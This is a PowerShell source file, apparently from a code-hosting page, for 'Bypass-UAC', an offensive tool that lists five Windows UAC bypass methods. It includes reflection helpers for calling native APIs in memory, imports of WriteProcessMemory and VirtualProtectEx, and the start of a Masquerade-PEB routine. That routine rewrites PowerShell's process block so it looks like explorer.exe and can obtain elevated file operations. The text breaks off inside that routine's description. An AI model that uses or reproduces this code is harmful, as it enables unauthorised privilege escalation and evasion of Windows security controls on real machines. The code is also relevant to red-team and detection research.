1558 lines
82 KiB
PowerShell
1558 lines
82 KiB
PowerShell
function Bypass-UAC {
|
|
<#
|
|
.SYNOPSIS
|
|
Bypass-UAC provides a framework to perform UAC bypasses based on auto
|
|
elevating IFileOperation COM object method calls. This is not a new
|
|
technique, traditionally, this is accomplished by injecting a DLL into
|
|
"explorer.exe". This is not desirable because injecting into
|
|
explorer may trigger security alerts and working with unmanaged DLL's
|
|
makes for an inflexible work-flow.
|
|
|
|
To get around this, Bypass-UAC implements a function which rewrites
|
|
PowerShell's PEB to give it the appearance of "explorer.exe". This
|
|
provides the same effect because COM objects exclusively rely on Windows's
|
|
Process Status API (PSAPI) which reads the process PEB.
|
|
|
|
#-------------------#
|
|
# Supported Methods #
|
|
#-------------------#
|
|
|
|
+ UacMethodSysprep: x32/x64 Win7-Win8
|
|
+ ucmDismMethod: x64 Win7+ (unpatched, tested up to 10RS2 14926)
|
|
+ UacMethodMMC2: x64 Win7+ (unpatched, tested up to 10RS2 14926)
|
|
+ UacMethodTcmsetup: x32/x64 Win7-10 (UAC "0day" ?_(?)_/?
|
|
+ UacMethodNetOle32: x32/x64 Win7-10 (UAC "0day" ?_(?)_/?
|
|
|
|
.DESCRIPTION
|
|
Author: Ruben Boonen (@FuzzySec)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
Optional Dependencies: None
|
|
|
|
.PARAMETER Method
|
|
|
|
Switch array of supported methods.
|
|
|
|
.PARAMETER CustomDll
|
|
|
|
Absolute path to custom proxy DLL. If not provided, the embedded Yamabiko
|
|
DLL is used.
|
|
|
|
.EXAMPLE
|
|
C:\PS> Bypass-UAC -Method UacMethodSysprep
|
|
|
|
.EXAMPLE
|
|
C:\PS> Bypass-UAC -Method ucmDismMethod -CustomDll C:\Users\b33f\Desktop\cmd.dll
|
|
#>
|
|
param(
|
|
[Parameter(Mandatory = $True)]
|
|
[ValidateSet('UacMethodSysprep','ucmDismMethod','UacMethodMMC2','UacMethodTcmsetup','UacMethodNetOle32')]
|
|
[String]$Method,
|
|
[Parameter(Mandatory = $False)]
|
|
[String]$CustomDll = $null
|
|
)
|
|
|
|
#---------------
|
|
# PSReflect => reflect all the things!
|
|
# https://github.com/mattifestation/PSReflect/blob/master/PSReflect.psm1
|
|
#---------------
|
|
function New-InMemoryModule
|
|
{
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Creates an in-memory assembly and module
|
|
|
|
Author: Matthew Graeber (@mattifestation)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
Optional Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
When defining custom enums, structs, and unmanaged functions, it is
|
|
necessary to associate to an assembly module. This helper function
|
|
creates an in-memory module that can be passed to the 'enum',
|
|
'struct', and Add-Win32Type functions.
|
|
|
|
.PARAMETER ModuleName
|
|
|
|
Specifies the desired name for the in-memory assembly and module. If
|
|
ModuleName is not provided, it will default to a GUID.
|
|
|
|
.EXAMPLE
|
|
|
|
$Module = New-InMemoryModule -ModuleName Win32
|
|
#>
|
|
|
|
Param
|
|
(
|
|
[Parameter(Position = 0)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$ModuleName = [Guid]::NewGuid().ToString()
|
|
)
|
|
|
|
$AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @())
|
|
$LoadedAssemblies = $AppDomain.GetAssemblies()
|
|
|
|
foreach ($Assembly in $LoadedAssemblies) {
|
|
if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
|
|
return $Assembly
|
|
}
|
|
}
|
|
|
|
$DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
|
|
$Domain = $AppDomain
|
|
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
|
|
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
|
|
|
|
return $ModuleBuilder
|
|
}
|
|
|
|
|
|
# A helper function used to reduce typing while defining function
|
|
# prototypes for Add-Win32Type.
|
|
function func
|
|
{
|
|
Param
|
|
(
|
|
[Parameter(Position = 0, Mandatory = $True)]
|
|
[String]
|
|
$DllName,
|
|
|
|
[Parameter(Position = 1, Mandatory = $True)]
|
|
[string]
|
|
$FunctionName,
|
|
|
|
[Parameter(Position = 2, Mandatory = $True)]
|
|
[Type]
|
|
$ReturnType,
|
|
|
|
[Parameter(Position = 3)]
|
|
[Type[]]
|
|
$ParameterTypes,
|
|
|
|
[Parameter(Position = 4)]
|
|
[Runtime.InteropServices.CallingConvention]
|
|
$NativeCallingConvention,
|
|
|
|
[Parameter(Position = 5)]
|
|
[Runtime.InteropServices.CharSet]
|
|
$Charset,
|
|
|
|
[String]
|
|
$EntryPoint,
|
|
|
|
[Switch]
|
|
$SetLastError
|
|
)
|
|
|
|
$Properties = @{
|
|
DllName = $DllName
|
|
FunctionName = $FunctionName
|
|
ReturnType = $ReturnType
|
|
}
|
|
|
|
if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
|
|
if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
|
|
if ($Charset) { $Properties['Charset'] = $Charset }
|
|
if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
|
|
if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint }
|
|
|
|
New-Object PSObject -Property $Properties
|
|
}
|
|
|
|
|
|
function Add-Win32Type
|
|
{
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Creates a .NET type for an unmanaged Win32 function.
|
|
|
|
Author: Matthew Graeber (@mattifestation)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
Optional Dependencies: func
|
|
|
|
.DESCRIPTION
|
|
|
|
Add-Win32Type enables you to easily interact with unmanaged (i.e.
|
|
Win32 unmanaged) functions in PowerShell. After providing
|
|
Add-Win32Type with a function signature, a .NET type is created
|
|
using reflection (i.e. csc.exe is never called like with Add-Type).
|
|
|
|
The 'func' helper function can be used to reduce typing when defining
|
|
multiple function definitions.
|
|
|
|
.PARAMETER DllName
|
|
|
|
The name of the DLL.
|
|
|
|
.PARAMETER FunctionName
|
|
|
|
The name of the target function.
|
|
|
|
.PARAMETER EntryPoint
|
|
|
|
The DLL export function name. This argument should be specified if the
|
|
specified function name is different than the name of the exported
|
|
function.
|
|
|
|
.PARAMETER ReturnType
|
|
|
|
The return type of the function.
|
|
|
|
.PARAMETER ParameterTypes
|
|
|
|
The function parameters.
|
|
|
|
.PARAMETER NativeCallingConvention
|
|
|
|
Specifies the native calling convention of the function. Defaults to
|
|
stdcall.
|
|
|
|
.PARAMETER Charset
|
|
|
|
If you need to explicitly call an 'A' or 'W' Win32 function, you can
|
|
specify the character set.
|
|
|
|
.PARAMETER SetLastError
|
|
|
|
Indicates whether the callee calls the SetLastError Win32 API
|
|
function before returning from the attributed method.
|
|
|
|
.PARAMETER Module
|
|
|
|
The in-memory module that will host the functions. Use
|
|
New-InMemoryModule to define an in-memory module.
|
|
|
|
.PARAMETER Namespace
|
|
|
|
An optional namespace to prepend to the type. Add-Win32Type defaults
|
|
to a namespace consisting only of the name of the DLL.
|
|
|
|
.EXAMPLE
|
|
|
|
$Mod = New-InMemoryModule -ModuleName Win32
|
|
|
|
$FunctionDefinitions = @(
|
|
(func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
|
|
(func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
|
|
(func ntdll RtlGetCurrentPeb ([IntPtr]) @())
|
|
)
|
|
|
|
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
|
|
$Kernel32 = $Types['kernel32']
|
|
$Ntdll = $Types['ntdll']
|
|
$Ntdll::RtlGetCurrentPeb()
|
|
$ntdllbase = $Kernel32::GetModuleHandle('ntdll')
|
|
$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')
|
|
|
|
.NOTES
|
|
|
|
Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189
|
|
|
|
When defining multiple function prototypes, it is ideal to provide
|
|
Add-Win32Type with an array of function signatures. That way, they
|
|
are all incorporated into the same in-memory module.
|
|
#>
|
|
|
|
[OutputType([Hashtable])]
|
|
Param(
|
|
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[String]
|
|
$DllName,
|
|
|
|
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[String]
|
|
$FunctionName,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $True)]
|
|
[String]
|
|
$EntryPoint,
|
|
|
|
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Type]
|
|
$ReturnType,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $True)]
|
|
[Type[]]
|
|
$ParameterTypes,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $True)]
|
|
[Runtime.InteropServices.CallingConvention]
|
|
$NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $True)]
|
|
[Runtime.InteropServices.CharSet]
|
|
$Charset = [Runtime.InteropServices.CharSet]::Auto,
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $True)]
|
|
[Switch]
|
|
$SetLastError,
|
|
|
|
[Parameter(Mandatory = $True)]
|
|
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
|
|
$Module,
|
|
|
|
[ValidateNotNull()]
|
|
[String]
|
|
$Namespace = ''
|
|
)
|
|
|
|
BEGIN
|
|
{
|
|
$TypeHash = @{}
|
|
}
|
|
|
|
PROCESS
|
|
{
|
|
if ($Module -is [Reflection.Assembly])
|
|
{
|
|
if ($Namespace)
|
|
{
|
|
$TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
|
|
}
|
|
else
|
|
{
|
|
$TypeHash[$DllName] = $Module.GetType($DllName)
|
|
}
|
|
}
|
|
else
|
|
{
|
|
# Define one type for each DLL
|
|
if (!$TypeHash.ContainsKey($DllName))
|
|
{
|
|
if ($Namespace)
|
|
{
|
|
$TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
|
|
}
|
|
else
|
|
{
|
|
$TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
|
|
}
|
|
}
|
|
|
|
$Method = $TypeHash[$DllName].DefineMethod(
|
|
$FunctionName,
|
|
'Public,Static,PinvokeImpl',
|
|
$ReturnType,
|
|
$ParameterTypes)
|
|
|
|
# Make each ByRef parameter an Out parameter
|
|
$i = 1
|
|
foreach($Parameter in $ParameterTypes)
|
|
{
|
|
if ($Parameter.IsByRef)
|
|
{
|
|
[void] $Method.DefineParameter($i, 'Out', $null)
|
|
}
|
|
|
|
$i++
|
|
}
|
|
|
|
$DllImport = [Runtime.InteropServices.DllImportAttribute]
|
|
$SetLastErrorField = $DllImport.GetField('SetLastError')
|
|
$CallingConventionField = $DllImport.GetField('CallingConvention')
|
|
$CharsetField = $DllImport.GetField('CharSet')
|
|
$EntryPointField = $DllImport.GetField('EntryPoint')
|
|
if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
|
|
|
|
if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName }
|
|
|
|
# Equivalent to C# version of [DllImport(DllName)]
|
|
$Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
|
|
$DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
|
|
$DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
|
|
[Reflection.FieldInfo[]] @($SetLastErrorField,
|
|
$CallingConventionField,
|
|
$CharsetField,
|
|
$EntryPointField),
|
|
[Object[]] @($SLEValue,
|
|
([Runtime.InteropServices.CallingConvention] $NativeCallingConvention),
|
|
([Runtime.InteropServices.CharSet] $Charset),
|
|
$ExportedFuncName))
|
|
|
|
$Method.SetCustomAttribute($DllImportAttribute)
|
|
}
|
|
}
|
|
|
|
END
|
|
{
|
|
if ($Module -is [Reflection.Assembly])
|
|
{
|
|
return $TypeHash
|
|
}
|
|
|
|
$ReturnTypes = @{}
|
|
|
|
foreach ($Key in $TypeHash.Keys)
|
|
{
|
|
$Type = $TypeHash[$Key].CreateType()
|
|
|
|
$ReturnTypes[$Key] = $Type
|
|
}
|
|
|
|
return $ReturnTypes
|
|
}
|
|
}
|
|
|
|
|
|
function psenum
|
|
{
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Creates an in-memory enumeration for use in your PowerShell session.
|
|
|
|
Author: Matthew Graeber (@mattifestation)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
Optional Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
The 'psenum' function facilitates the creation of enums entirely in
|
|
memory using as close to a "C style" as PowerShell will allow.
|
|
|
|
.PARAMETER Module
|
|
|
|
The in-memory module that will host the enum. Use
|
|
New-InMemoryModule to define an in-memory module.
|
|
|
|
.PARAMETER FullName
|
|
|
|
The fully-qualified name of the enum.
|
|
|
|
.PARAMETER Type
|
|
|
|
The type of each enum element.
|
|
|
|
.PARAMETER EnumElements
|
|
|
|
A hashtable of enum elements.
|
|
|
|
.PARAMETER Bitfield
|
|
|
|
Specifies that the enum should be treated as a bitfield.
|
|
|
|
.EXAMPLE
|
|
|
|
$Mod = New-InMemoryModule -ModuleName Win32
|
|
|
|
$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
|
|
UNKNOWN = 0
|
|
NATIVE = 1 # Image doesn't require a subsystem.
|
|
WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem.
|
|
WINDOWS_CUI = 3 # Image runs in the Windows character subsystem.
|
|
OS2_CUI = 5 # Image runs in the OS/2 character subsystem.
|
|
POSIX_CUI = 7 # Image runs in the Posix character subsystem.
|
|
NATIVE_WINDOWS = 8 # Image is a native Win9x driver.
|
|
WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem.
|
|
EFI_APPLICATION = 10
|
|
EFI_BOOT_SERVICE_DRIVER = 11
|
|
EFI_RUNTIME_DRIVER = 12
|
|
EFI_ROM = 13
|
|
XBOX = 14
|
|
WINDOWS_BOOT_APPLICATION = 16
|
|
}
|
|
|
|
.NOTES
|
|
|
|
PowerShell purists may disagree with the naming of this function but
|
|
again, this was developed in such a way so as to emulate a "C style"
|
|
definition as closely as possible. Sorry, I'm not going to name it
|
|
New-Enum. :P
|
|
#>
|
|
|
|
[OutputType([Type])]
|
|
Param
|
|
(
|
|
[Parameter(Position = 0, Mandatory = $True)]
|
|
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
|
|
$Module,
|
|
|
|
[Parameter(Position = 1, Mandatory = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$FullName,
|
|
|
|
[Parameter(Position = 2, Mandatory = $True)]
|
|
[Type]
|
|
$Type,
|
|
|
|
[Parameter(Position = 3, Mandatory = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[Hashtable]
|
|
$EnumElements,
|
|
|
|
[Switch]
|
|
$Bitfield
|
|
)
|
|
|
|
if ($Module -is [Reflection.Assembly])
|
|
{
|
|
return ($Module.GetType($FullName))
|
|
}
|
|
|
|
$EnumType = $Type -as [Type]
|
|
|
|
$EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)
|
|
|
|
if ($Bitfield)
|
|
{
|
|
$FlagsConstructor = [FlagsAttribute].GetConstructor(@())
|
|
$FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
|
|
$EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
|
|
}
|
|
|
|
foreach ($Key in $EnumElements.Keys)
|
|
{
|
|
# Apply the specified enum type to each element
|
|
$null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
|
|
}
|
|
|
|
$EnumBuilder.CreateType()
|
|
}
|
|
|
|
|
|
# A helper function used to reduce typing while defining struct
|
|
# fields.
|
|
function field
|
|
{
|
|
Param
|
|
(
|
|
[Parameter(Position = 0, Mandatory = $True)]
|
|
[UInt16]
|
|
$Position,
|
|
|
|
[Parameter(Position = 1, Mandatory = $True)]
|
|
[Type]
|
|
$Type,
|
|
|
|
[Parameter(Position = 2)]
|
|
[UInt16]
|
|
$Offset,
|
|
|
|
[Object[]]
|
|
$MarshalAs
|
|
)
|
|
|
|
@{
|
|
Position = $Position
|
|
Type = $Type -as [Type]
|
|
Offset = $Offset
|
|
MarshalAs = $MarshalAs
|
|
}
|
|
}
|
|
|
|
|
|
function struct
|
|
{
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Creates an in-memory struct for use in your PowerShell session.
|
|
|
|
Author: Matthew Graeber (@mattifestation)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
Optional Dependencies: field
|
|
|
|
.DESCRIPTION
|
|
|
|
The 'struct' function facilitates the creation of structs entirely in
|
|
memory using as close to a "C style" as PowerShell will allow. Struct
|
|
fields are specified using a hashtable where each field of the struct
|
|
is comprosed of the order in which it should be defined, its .NET
|
|
type, and optionally, its offset and special marshaling attributes.
|
|
|
|
One of the features of 'struct' is that after your struct is defined,
|
|
it will come with a built-in GetSize method as well as an explicit
|
|
converter so that you can easily cast an IntPtr to the struct without
|
|
relying upon calling SizeOf and/or PtrToStructure in the Marshal
|
|
class.
|
|
|
|
.PARAMETER Module
|
|
|
|
The in-memory module that will host the struct. Use
|
|
New-InMemoryModule to define an in-memory module.
|
|
|
|
.PARAMETER FullName
|
|
|
|
The fully-qualified name of the struct.
|
|
|
|
.PARAMETER StructFields
|
|
|
|
A hashtable of fields. Use the 'field' helper function to ease
|
|
defining each field.
|
|
|
|
.PARAMETER PackingSize
|
|
|
|
Specifies the memory alignment of fields.
|
|
|
|
.PARAMETER ExplicitLayout
|
|
|
|
Indicates that an explicit offset for each field will be specified.
|
|
|
|
.EXAMPLE
|
|
|
|
$Mod = New-InMemoryModule -ModuleName Win32
|
|
|
|
$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{
|
|
DOS_SIGNATURE = 0x5A4D
|
|
OS2_SIGNATURE = 0x454E
|
|
OS2_SIGNATURE_LE = 0x454C
|
|
VXD_SIGNATURE = 0x454C
|
|
}
|
|
|
|
$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{
|
|
e_magic = field 0 $ImageDosSignature
|
|
e_cblp = field 1 UInt16
|
|
e_cp = field 2 UInt16
|
|
e_crlc = field 3 UInt16
|
|
e_cparhdr = field 4 UInt16
|
|
e_minalloc = field 5 UInt16
|
|
e_maxalloc = field 6 UInt16
|
|
e_ss = field 7 UInt16
|
|
e_sp = field 8 UInt16
|
|
e_csum = field 9 UInt16
|
|
e_ip = field 10 UInt16
|
|
e_cs = field 11 UInt16
|
|
e_lfarlc = field 12 UInt16
|
|
e_ovno = field 13 UInt16
|
|
e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4)
|
|
e_oemid = field 15 UInt16
|
|
e_oeminfo = field 16 UInt16
|
|
e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10)
|
|
e_lfanew = field 18 Int32
|
|
}
|
|
|
|
# Example of using an explicit layout in order to create a union.
|
|
$TestUnion = struct $Mod TestUnion @{
|
|
field1 = field 0 UInt32 0
|
|
field2 = field 1 IntPtr 0
|
|
} -ExplicitLayout
|
|
|
|
.NOTES
|
|
|
|
PowerShell purists may disagree with the naming of this function but
|
|
again, this was developed in such a way so as to emulate a "C style"
|
|
definition as closely as possible. Sorry, I'm not going to name it
|
|
New-Struct. :P
|
|
#>
|
|
|
|
[OutputType([Type])]
|
|
Param
|
|
(
|
|
[Parameter(Position = 1, Mandatory = $True)]
|
|
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
|
|
$Module,
|
|
|
|
[Parameter(Position = 2, Mandatory = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$FullName,
|
|
|
|
[Parameter(Position = 3, Mandatory = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[Hashtable]
|
|
$StructFields,
|
|
|
|
[Reflection.Emit.PackingSize]
|
|
$PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
|
|
|
|
[Switch]
|
|
$ExplicitLayout
|
|
)
|
|
|
|
if ($Module -is [Reflection.Assembly])
|
|
{
|
|
return ($Module.GetType($FullName))
|
|
}
|
|
|
|
[Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
|
|
Class,
|
|
Public,
|
|
Sealed,
|
|
BeforeFieldInit'
|
|
|
|
if ($ExplicitLayout)
|
|
{
|
|
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
|
|
}
|
|
else
|
|
{
|
|
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
|
|
}
|
|
|
|
$StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
|
|
$ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
|
|
$SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
|
|
|
|
$Fields = New-Object Hashtable[]($StructFields.Count)
|
|
|
|
# Sort each field according to the orders specified
|
|
# Unfortunately, PSv2 doesn't have the luxury of the
|
|
# hashtable [Ordered] accelerator.
|
|
foreach ($Field in $StructFields.Keys)
|
|
{
|
|
$Index = $StructFields[$Field]['Position']
|
|
$Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
|
|
}
|
|
|
|
foreach ($Field in $Fields)
|
|
{
|
|
$FieldName = $Field['FieldName']
|
|
$FieldProp = $Field['Properties']
|
|
|
|
$Offset = $FieldProp['Offset']
|
|
$Type = $FieldProp['Type']
|
|
$MarshalAs = $FieldProp['MarshalAs']
|
|
|
|
$NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
|
|
|
|
if ($MarshalAs)
|
|
{
|
|
$UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
|
|
if ($MarshalAs[1])
|
|
{
|
|
$Size = $MarshalAs[1]
|
|
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
|
|
$UnmanagedType, $SizeConst, @($Size))
|
|
}
|
|
else
|
|
{
|
|
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
|
|
}
|
|
|
|
$NewField.SetCustomAttribute($AttribBuilder)
|
|
}
|
|
|
|
if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
|
|
}
|
|
|
|
# Make the struct aware of its own size.
|
|
# No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
|
|
$SizeMethod = $StructBuilder.DefineMethod('GetSize',
|
|
'Public, Static',
|
|
[Int],
|
|
[Type[]] @())
|
|
$ILGenerator = $SizeMethod.GetILGenerator()
|
|
# Thanks for the help, Jason Shirk!
|
|
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
|
|
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
|
|
[Type].GetMethod('GetTypeFromHandle'))
|
|
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
|
|
[Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
|
|
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
|
|
|
|
# Allow for explicit casting from an IntPtr
|
|
# No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
|
|
$ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
|
|
'PrivateScope, Public, Static, HideBySig, SpecialName',
|
|
$StructBuilder,
|
|
[Type[]] @([IntPtr]))
|
|
$ILGenerator2 = $ImplicitConverter.GetILGenerator()
|
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
|
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
|
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
|
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
|
|
[Type].GetMethod('GetTypeFromHandle'))
|
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
|
|
[Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
|
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
|
|
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
|
|
|
|
$StructBuilder.CreateType()
|
|
}
|
|
|
|
#---------------
|
|
# Win32 Definitions
|
|
#---------------
|
|
|
|
$Module = New-InMemoryModule -ModuleName UACalamity
|
|
|
|
$UNICODE_STRING = struct $Module UNICODE_STRING @{
|
|
Length = field 0 UInt16
|
|
MaximumLength = field 1 UInt16
|
|
Buffer = field 2 IntPtr
|
|
}
|
|
|
|
$LIST_ENTRY = struct $Module _LIST_ENTRY @{
|
|
Flink = field 0 IntPtr
|
|
Blink = field 1 IntPtr
|
|
}
|
|
|
|
$PROCESS_BASIC_INFORMATION = struct $Module _PROCESS_BASIC_INFORMATION @{
|
|
ExitStatus = field 0 IntPtr
|
|
PebBaseAddress = field 1 IntPtr
|
|
AffinityMask = field 2 IntPtr
|
|
BasePriority = field 3 IntPtr
|
|
UniqueProcessId = field 4 UIntPtr
|
|
InheritedFromUniqueProcessId = field 5 IntPtr
|
|
}
|
|
|
|
# Partial PEB
|
|
$PEB = struct $Module _PEB @{
|
|
Ldr32 = field 0 IntPtr -Offset 12
|
|
ProcessParameters32 = field 1 IntPtr -Offset 16
|
|
Ldr64 = field 2 IntPtr -Offset 24
|
|
FastPebLock32 = field 3 IntPtr -Offset 28
|
|
ProcessParameters64 = field 4 IntPtr -Offset 32
|
|
FastPebLock64 = field 5 IntPtr -Offset 56
|
|
} -ExplicitLayout
|
|
|
|
# Partial _PEB_LDR_DATA
|
|
$PEB_LDR_DATA = struct $Module _PEB_LDR_DATA @{
|
|
Length = field 0 UInt32
|
|
Initialized = field 1 Byte
|
|
SsHandle = field 2 IntPtr
|
|
InLoadOrderModuleList = field 3 $LIST_ENTRY
|
|
InMemoryOrderModuleList = field 4 $LIST_ENTRY
|
|
InInitializationOrderModuleList = field 5 $LIST_ENTRY
|
|
EntryInProgress = field 6 IntPtr
|
|
}
|
|
|
|
# Partial _LDR_DATA_TABLE_ENTRY
|
|
$LDR_DATA_TABLE_ENTRY = struct $Module _LDR_DATA_TABLE_ENTRY @{
|
|
InLoadOrderLinks = field 0 $LIST_ENTRY
|
|
InMemoryOrderLinks = field 1 $LIST_ENTRY
|
|
InInitializationOrderLinks = field 2 $LIST_ENTRY
|
|
DllBase = field 3 IntPtr
|
|
EntryPoint = field 4 IntPtr
|
|
SizeOfImage = field 5 UInt32
|
|
FullDllName = field 6 $UNICODE_STRING
|
|
BaseDllName = field 7 $UNICODE_STRING
|
|
}
|
|
|
|
$FunctionDefinitions = @(
|
|
|
|
(func kernel32 VirtualProtectEx ([Byte]) @(
|
|
[IntPtr], # hProcess
|
|
[IntPtr], # lpAddress
|
|
[UInt32], # dwSize
|
|
[UInt32], # flNewProtect
|
|
[UInt32].MakeByRefType() # lpflOldProtect
|
|
)),
|
|
|
|
(func kernel32 WriteProcessMemory ([Byte]) @(
|
|
[IntPtr], # hProcess
|
|
[IntPtr], # lpBaseAddress
|
|
[IntPtr], # lpBuffer
|
|
[UInt32], # nSize
|
|
[UInt32].MakeByRefType() # lpNumberOfBytesWritten
|
|
)),
|
|
|
|
(func ntdll NtQueryInformationProcess ([Int]) @(
|
|
[IntPtr], # hProcess
|
|
[Int], # lpBaseAddress
|
|
$PROCESS_BASIC_INFORMATION.MakeByRefType(), # lpBuffer
|
|
[Int], # nSize
|
|
[Int].MakeByRefType() # lpNumberOfBytesWritten
|
|
)),
|
|
|
|
(func ntdll RtlEnterCriticalSection ([Void]) @(
|
|
[IntPtr] # lpCriticalSection
|
|
)),
|
|
|
|
(func ntdll RtlLeaveCriticalSection ([Void]) @(
|
|
[IntPtr] # lpCriticalSection
|
|
))
|
|
|
|
)
|
|
|
|
$Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'Win32'
|
|
$Kernel32 = $Types['kernel32']
|
|
$NtDll = $Types['ntdll']
|
|
|
|
#---------------
|
|
# Masquerade-PEB
|
|
#---------------
|
|
|
|
function Masquerade-PEB {
|
|
<#
|
|
.SYNOPSIS
|
|
Masquerade-PEB uses NtQueryInformationProcess to get a handle to powershell's
|
|
PEB. From there it replaces a number of UNICODE_STRING structs in memory to
|
|
give powershell the appearance of a different process. Specifically, the
|
|
function will overwrite powershell's "ImagePathName" & "CommandLine" in
|
|
_RTL_USER_PROCESS_PARAMETERS and the "FullDllName" & "BaseDllName" in the
|
|
_LDR_DATA_TABLE_ENTRY linked list.
|
|
|
|
This can be useful as it would fool any Windows work-flows which rely solely
|
|
on the Process Status API to check process identity. A practical example would
|
|
be the IFileOperation COM Object which can perform an elevated file copy if it
|
|
thinks powershell is really explorer.exe ;)!
|
|
|
|
Notes:
|
|
* Works on x32/64.
|
|
|
|
* Most of these API's and structs are undocumented. I strongly recommend
|
|
@rwfpl's terminus project as a reference guide!
|
|
+ http://terminus.rewolf.pl/terminus/
|
|
|
|
